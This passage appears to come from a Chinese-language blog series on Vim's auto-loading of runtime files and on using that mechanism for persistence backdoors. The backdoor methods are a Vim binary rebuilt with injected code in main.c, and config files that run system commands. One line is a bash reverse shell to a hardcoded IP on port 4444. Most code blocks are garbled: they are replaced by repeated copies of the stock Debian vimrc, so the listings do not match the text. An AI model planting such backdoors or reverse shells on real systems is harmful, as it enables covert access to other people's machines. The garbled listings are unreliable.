通过对比,可以得出,自动加载的脚本如下(第8条和第12条根据打开文件类型而定)
vimrc
debian.vim
在
vimrc
中默认引用syntax/syntax.vim
syntax/synload.vim
syntax/syncolor.vim
colors/lists/default.vim
filetype.vim
scripts.vim
`defaults.vim
ftplugin.vim
indent.vim
syntax/nosyntax.vim
在目标文件未识别到文件类型或文件类型不需要语法高亮时自动加载
plugin/*
自动加载的文件小结
文件名 | 文件作用 | 是否自动加载 |
---|---|---|
vimrc | Vim 的全局配置文件,用于设置全局的 Vim 选项和自定义命令。它在 Vim 启动时自动加载,并为所有用户生效 | 是 |
debian.vim | 为 Debian 系统定制的 Vim 配置文件,包含了一些特定于 Debian 的配置选项和设置 | Debian等系统自动加载 |
syntax/syntax.vim | Vim 用于语法高亮显示的核心文件,定义了语法高亮的规则和逻辑 | 是 |
syntax/synload.vim | Vim 用于语法高亮显示的辅助文件,用于加载和管理语法文件 | 是 |
syntax/syncolor.vim | Vim 用于语法高亮显示的辅助文件,用于加载和管理语法文件 | 是 |
colors/lists/default.vim | Vim 颜色方案的默认配置文件,定义了默认的颜色方案 | 是 |
filetype.vim | 这个文件定义了文件类型的检测规则和相关设置,用于根据文件类型自动加载相应的配置和插件 | 是 |
scripts.vim | 这个文件包含一些 Vim 脚本的帮助函数和设置,用于支持 Vim 脚本的运行和调试 | 打开部分文件自动加载 |
defaults.vim | 默认的 Vim 配置选项,用于设置 Vim 的默认行为和外观 | 是 |
ftplugin.vim | 这个文件包含了一些文件类型相关的插件设置,用于为特定文件类型自动加载相应的插件和配置 | 打开部分文件自动加载 |
indent.vim | 这个文件包含了一些自动缩进的设置,用于根据文件类型自动设置正确的缩进规则 | 是 |
syntax/nosyntax.vim | Vim 用于禁用语法高亮显示的设置文件,用于取消对当前文件的语法高亮显示 | 未匹配到文件格式 或不需要语法高亮时自动加载 |
plugin/* | 各种插件 | 是 |
7. 自动加载好奇的知识点
1) $VIMRUNTIME 和 ~/.vim 效果是否一致
除了加载顺序以及after 目录差异外,未发现其他区别
2) runtime!
加载目录取决于什么
默认情况 /etc/vim/vimrc
中存在通过 runtime! debian.vim
的配置,在前面的部分中,我标注了 debian.vim
文件来自 $VIMRUNTIME
环境变量中,从结果看是没有错的
不过如果从原理来说,runtime!
加载配置文件的地址选择是来自于 runtimepath
项的,只不过前面也讲过 $VIMRUNTIME
的值是 runtimepath
的一部分
3) runtime!
存在多文件时如何选择
按照常规思路去想,一般来说是按照 runtimepath
的顺序,选择第一个找到相关文件的地址去重新加载,但是 vim 的思路似乎是 "小孩子才做选择,我全都要"
没错,runtime! xxx.vim
会将 runtimepath
指定的目录中所有找到的 xxx.vim
重新加载一遍
在 /etc/vim/vimrc
为例,添加 runtime! demo.vim
获取 runtimepath
的值
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
8
按照先后顺序整理如下
~/.vim
/var/lib/vim/addons
/etc/vim
/usr/share/vim/vimfiles
/usr/share/vim/vim82
/usr/share/vim/vimfiles/after
/etc/vim/after
/var/lib/vim/addons/after
~/.vim/after
现在分别在 ~/.vim
、/var/lib/vim/addons
、/etc/vim/after
中放置 demo.vim
,内容均为打印当前文件所在位置
此时打开 vim
可以看到,我只在 /etc/vim/vimrc
中设置了一次 runtime! demo.vim
,runtimepath
制定的目录下所有的demo.vim
都重新加载了一遍,具体顺序是按照 runtimepath
中的顺序来的
4) runtime!
低权限可以引用高权限文件吗
我们直接将 3)
中 /etc/vim/vimrc
中的 runtime! demo.vim
移到 ~/.vimrc
或 ~/.vim/vimrc
中
可以看到,低权限配置 runtimepath
是可以加载高权限文件夹下的配置文件的
此时,如果用 sudo 来执行 vim ,就不会加载 demo.vim
了,毕竟sudo后执行vim的变成了 root,默认情况下 root 的 ~/.vimrc
和 ~/.vim/vimrc
,即使存在也不存在 runtime! demo.vim
指令
5) runtime!
可以加载非 *.vim
的文件吗
之前我们演示的都是加载 *.vim
文件,现在尝试加载非 .vim
后缀的文件
首先获取 runtimepath
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/share/vim"
9
在 /usr/share/vim/vim82
目录下新建 demo.vim
,内容为 set number
!(../../../../Library/Application Support/typora-user-images/.png)
在 /etc/vim/vimrc
中使用 runtime! demo.vim
进行加载
打开 1.txt
配置生效,现在将 demo.vim
修改为 demo
,并将 /etc/vim/vimrc
中的内容一并修改
再次打开 1.txt
可以看到,runtime!
是可以加载非 .vim
结尾的配置文件的
6) runtime!
加载特殊名字配置文件
这块主要是做后门的我们比较关注,只要不限制后缀名那花样就多了
打开 1.txt
vim 配置文件中空格需要用 进行转义
打开 1.txt
7) 自动加载目录可以加载非 *.vim
配置文件吗
这部分比较长,直接写结果
目录名 | 非 .vim 后缀 | 文件名 .vim | 文件名 ' .vim' | 备注 |
---|---|---|---|---|
autoload | 0 | 0 | 0 | |
colors | 0 | 0 | 1 | |
plugin | 0 | 0 | 1 | |
ftdetect | 0 | 0 | 1 | |
pack | 0 | 0 | 1 | pack最终vim文件是表中结果 目录出了固定以外,均可以由空格组成 |
8) runtime 和 source
功能:
source
命令用于加载指定的 Vim 配置文件,可以是任意合法的 Vim 脚本文件,通常以.vim
结尾。runtime
命令用于加载 Vim 运行时文件中的脚本,通常用于加载插件和其他运行时文件。
文件路径:
source
命令可以加载任意路径下的配置文件,可以是绝对路径或相对路径。runtime
命令根据'runtimepath'
设置来加载文件,文件路径相对于'runtimepath'
中的目录。
文件类型:
source
命令可以加载任何类型的 Vim 脚本文件,只要文件内容符合 Vim 的脚本语法规则。runtime
命令主要用于加载以.vim
结尾的脚本文件,通常是 Vim 运行时文件中的脚本。source
和runtime
都可以加载非.vim
结尾的文件
搜索顺序:
source
命令直接加载指定的文件,不进行搜索。runtime
命令会在'runtimepath'
中的每个目录下按顺序搜索指定的文件
9) 非 vimrc 中引入 colors 等
上面篇幅中,各种需要修改配置文件才能自动加载的文件都是修改的 vimrc
,修改其他文件是否可以呢?
下面以 /usr/share/vim/vim82/ftplugin.vim
中通过 colorscheme color_demo
来加载位于 colors
目录下的配色方案 —— color_demo
默认情况打开 1.go
在 /usr/share/vim/vim82/ftplugin.vim
中添加指令
再次打开 1.go
经过测试,可以在任意被加载的配置文件中加载其他配置文件
10) 自动加载的目录及文件可以放在哪些文件夹下?
这个标题我也没有想好怎么说,核心思想就是难道只有 $VIMRUNTIME
和 ~/.vim
下的那些文件夹和文件可以自动执行吗?还是说 runtimepath
指定的目录都可以达到这个效果
runtimepath:
~/.vim
/var/lib/vim/addons
/etc/vim
/usr/share/vim/vimfiles
/usr/share/vim/vim82
/usr/share/vim/vimfiles/after
/etc/vim/after
/var/lib/vim/addons/after
~/.vim/after
挑选 /var/lib/vim/addons
和 /usr/share/vim/vimfiles
进行实验,均添加 plugin
目录,并创建 pg.vim
Ubuntu 22.04 默认 /var/lib/vim/addons
文件夹是个空文件夹
创建 plugin
文件夹,并在其中创建 pg.vim
文件
成功自动加载了位于 /var/lib/vim/addons
下的 plugin
目录下的 pg.vim
Ubuntu 22.04 默认不存在 /usr/share/vim/vimfiles
目录,我们新建该目录,并在其中创建 plugin
目录,并在其中加入 pg.vim
成功加载自定义配置文件
**经过测试,runtimepath
指定的目录下的部分目录和文件均可以自动加载 **
11) runtimepath下放置 vimrc 自动加载吗
runtimepath:
~/.vim
/var/lib/vim/addons
/etc/vim
/usr/share/vim/vimfiles
/usr/share/vim/vim82
/usr/share/vim/vimfiles/after
/etc/vim/after
/var/lib/vim/addons/after
~/.vim/after
目录位置 | 是否自动加载 | 备注 |
---|---|---|
~/.vim/ | 是 | 用户第二默认配置文件 |
/var/lib/vim/addons | 否 | |
/etc/vim | 是 | 系统配置文件 |
/usr/share/vim/vimfiles | 否 | |
/usr/share/vim/vim82 | 否 | |
/usr/share/vim/vimfiles/after | 否 | |
/etc/vim/after | 否 | |
/var/lib/vim/addons/after | 否 | |
~/.vim/after | 否 |
12) 如何新建编译器
vim 中是可以新建一个编译器的,没有想象中那么难,只需要将编译器文件放置到 $PATH
目录下即可
我们将 /usr/bin/cat
模拟为编译器,之后通过 vimrc
设置所有的 .pwd
结尾的程序均使用 cat
编译器,之后执行的编译命令为 cat /etc/passwd
在 ~/.vimrc
中填入以下内容
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
0
打开 1.pwd
,并在底行命令模式下输入 :make
来启动编译
成功执行我们自定义的编译命令
这里需要注意,我们只是在讨论后门场景下新建编译器,如果想自定义一个有效的编译器,可能还需要其他配置
13) 如何查看vim命令历史
底线模式下输入 :history
14) 如何查看所有项以及对应的值
底线模式下输入 :set all
配置项非常多,向下翻可以看到我们熟悉的 runtimepath
15) autocmd 的作用是什么
在上面的案例中autocmd
经常出场,并发挥着重要的作用,autocmd
被称为自动命令,简单来说就是在某些条件下自动执行某些命令
文章中有一个案例,就是打开一个文件,如果直接:q
,则该文件不会被创建,为了达到打开文件即创建该文件的目的,文中给出了一条 vim 配置指令
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
1
其实还是挺清晰的,但是为了了解更多细节,我将文中的分析部分拿过来
autocmd
的命令格式就是如此,举个简单的例子,我们希望打开.pwd
结尾的文件时就自动显示行号
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
2
上面的案例中有一个常见的事件,就是 FileType
,其实就是文件类型事件,例如我们想打开 go
语言文件就显示行号,可以这么写
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
3
那命令以及各个部分是否区分大小写呢?
autocmd | FileType | go | set | number |
---|---|---|---|---|
区分 | 不区分 | 区分 | 区分 | 区分 |
autocmd
都可以绑定哪些事件呢?
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
4
0x03 vim 后门说明
0x04 vim 自身文件后门
这类后门比较简单粗暴,直接替换相关文件,暂时未发现 vim 存在自身使用的 .so
共享库文件,因此本章节以直接替换命令本身为例,当然也可以通过打补丁的形式进行,都需要修改代码,重新编译
1. 查找 vim 命令程序位置
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
5
确定 vim 是否为 bash 内置命令
并不是 bash 内置命令,优先使用的是 /usr/bin/vim
/usr/bin/vim
是一个软链接,链接地址为 /etc/alternatives/vim
/etc/alternatives/vim
也是一个软链接,链接地址为 /usr/bin/vim.basic
这个文件就是实际执行的 vim
程序了
2. 制作后门文件
1) 下载源代码
在相同版本的 Linux 主机 B 上下载相同版本 vim 源代码
在主机B上编辑更新源,取消 deb-src
的注释
在主机 B 上下载 vim 源代码(可以指定版本)
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
6
2) 加入后门代码
本次演示加入的恶意代码功能为新建 /tmp/flag.txt
,并向其中写入 backdoor executed
进入 vim-8.2.3995/src
,修改 main.c
, 在 main 函数中加入以下恶意代码(当然,你可以从各种犄角旮旯中添加恶意代码)
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
7
进入到 vim-8.2.3995
目录中,直接执行 ./configure
可能会提示缺少依赖包,可以通过 sudo apt install
来进行安装,这里记录本次编译需要的安装的依赖
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
8
" All system-wide defaults are set in $VIMRUNTIME/debian.vim and sourced by
" the call to :runtime you can find below. If you wish to change any of those
" settings, you should do it in this file (/etc/vim/vimrc), since debian.vim
" will be overwritten everytime an upgrade of the vim packages is performed.
" It is recommended to make changes after sourcing debian.vim since it alters
" the value of the 'compatible' option.
runtime! debian.vim
" Vim will load $VIMRUNTIME/defaults.vim if the user does not have a vimrc.
" This happens after /etc/vim/vimrc(.local) are loaded, so it will override
" any settings in these files.
" If you don't want that to happen, uncomment the below line to prevent
" defaults.vim from being loaded.
" let g:skip_defaults_vim = 1
" Uncomment the next line to make Vim more Vi-compatible
" NOTE: debian.vim sets 'nocompatible'. Setting 'compatible' changes numerous
" options, so any other options should be set AFTER setting 'compatible'.
"set compatible
" Vim5 and later versions support syntax highlighting. Uncommenting the next
" line enables syntax highlighting by default.
if has("syntax")
syntax on
endif
" If using a dark background within the editing area and syntax highlighting
" turn on this option as well
"set background=dark
" Uncomment the following to have Vim jump to the last position when
" reopening a file
"au BufReadPost * if line("'"") > 1 && line("'"") <= line("$") | exe "normal! g'"" | endif
" Uncomment the following to have Vim load indentation rules and plugins
" according to the detected filetype.
"filetype plugin indent on
" The following are commented out as they cause vim to behave a lot
" differently from regular Vi. They are highly recommended though.
"set showcmd " Show (partial) command in status line.
"set showmatch " Show matching brackets.
"set ignorecase " Do case insensitive matching
"set smartcase " Do smart case matching
"set incsearch " Incremental search
"set autowrite " Automatically save before commands like :next and :make
"set hidden " Hide buffers when they are abandoned
"set mouse=a " Enable mouse usage (all modes)
" Source a global configuration file if available
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
9
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
0
查看编译生成的可执行文件 /usr/local/bin/vim
本地测试该文件后门代码是否有效
成功创建了有效的带有后门,且功能正常的 vim
3) 用后门vim替换 /usr/bin/vim
4) 模拟正常使用vim触发后门
成功触发后门
5) 小结
0x05 配置文件后门
前面用了将近 6 万字介绍了 vim 的配置相关内容,但其实也仅仅就是了解了一部分,配置文件其实就是 Vim 脚本组成的,想要把vim配置文件玩出花来,还是需要了解一下 Vimscript 具体语法,还是比较好学的。
1. 执行系统命令
本部分主要探究通过配置vim配置文件达到执行系统命令的目的,具体以在 /tmp
新建 flag.txt
并写入 vim yes
为例
1) system 函数
system()
函数用于执行系统命令,并返回命令的输出结果。
vimscript 中调用函数使用 call
指令
成功执行自定义系统命令
2) systemlist 函数
systemlist()
函数:systemlist()
函数与 system()
函数类似,但它返回的是命令输出的列表,每行作为一个列表项
成功执行自定义系统命令
3) !
指令
:!
命令:Vim 提供了 :!
命令,可以在 Vim 的命令行中直接执行系统命令
成功执行自定义系统命令,但是在执行 vim 前将我们要执行的命令提示了出来
4) job_start 函数
job_start()
函数用于启动一个异步任务(job),使其在后台执行
job_start 函数不要直接使用echo命令写入文件,可能是因为与vim原本echo混淆的原因会失败
也就是说 echo '123' > /tmp/flag.txt
会失败,但是 touch /tmp/flag.txt
就没问题
直接使用 /bin/bash -i >& /dev/tcp/172.16.44.141/4444 0>&1
也会失败,但是写入到 shell 脚本中,之后通过 bash 执行就不会失败
实际上,具体执行情况要复杂得多,具体如下
job_start
这个函数的表现已经超出了我的理解范畴,我将此怪异现象记录一下
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
1
只要运行 vim 就会触发
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
2
无论如何都执行不了
通过 bash + base64
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
3
经过了一堆实验,我总结出两条规律
使用 root 权限编辑任意目录下的 *.vim
文件使用 root 或 普通权限编辑 runtimepath
